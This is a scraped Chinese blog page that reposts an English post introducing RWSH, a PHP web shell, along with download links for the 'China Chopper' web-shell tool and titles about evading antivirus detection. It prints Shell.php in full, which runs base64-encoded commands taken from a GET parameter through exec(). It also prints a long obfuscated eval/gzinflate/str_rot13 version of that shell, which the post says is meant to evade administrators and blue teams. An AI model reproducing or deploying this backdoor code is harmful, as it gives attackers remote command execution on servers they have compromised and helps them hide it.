介绍 RWSH – Ray’s Web SHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)
来源:互联网 发布:mac怎么升级系统版本 编辑:程序博客网 时间:2024/05/17 07:59
中国菜刀下载,基于原版中国菜刀优化版20160309.
下载地址:
http://download.csdn.net/detail/settoken/9457567
http://pan.baidu.com/s/1jHoJxHW
China chopper
http://pan.baidu.com/s/1eRxEYjC
RWSH (pronounced “rush” – credit to my friend Grev for the name), or Ray’s Web SHell, is a basic PHP web shell with a Python based “client” that provides a bit more interactivity as well as encoding.
During many of my engagements or exploits, I noticed that I was using a lot of PHP passthru web shells. These web shells typically lacked flair, were difficult to interact with, and were easily detectable. While these were useful to me at the time, I quickly realized that they could be improved with a few small tweaks. I wanted a web based shell that was a bit smaller, simpler, and less likely to have a backdoor than a c99 shell.
With these ideas in mind, plus the desire to add to my tool and skill sets, I set out to build a new web shell. (The GitHub link is at bottom of this post).
Some of the key features I have built into RWSH are:
- Encoded communication
- Pseudo-interactive shell
- Cleaner output formatting than PHP passthru
- Hostname and username (whoami) detection
- (Mostly) Clean exiting
- Obfuscated server (this is possible with most/all web shells, I just include one with it)
The actual web shell side of RWSH is just a PHP exec, only accepting and returning base64 encoded strings. While this obviously won’t get past anyone who’s actively looking for malicious traffic, it should provide at least a little more time against a lazy administrator or Blue Team. The result array inserts EOL characters into the final encoded string, so that it displays a bit more cleanly for the “client” as opposed to one long line of results.
Shell.php 代码:
<?php$result = array();$output = "";exec(base64_decode($_GET['cmd']), $result, $return);if (count($result) > 1) {foreach($result as $line) {$output = $output . $line . PHP_EOL;}$output = base64_encode($output);echo $output;}else{echo base64_encode($result[0]);}?>
encoded.php 代码:
<?php/* * Encoded using mobilefish Simple online PHP obfuscator - http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php * Original file = 289 characters * All nested functions selected * 3 random loops through the nested functions * Decoded output @ UnPHP = https://www.unphp.net/decode/cbfb8525fd5f07272c03ce58c9324ffd/ */eval(base64_decode('eval(gzinflate(base64_decode(base64_decode(str_rot13('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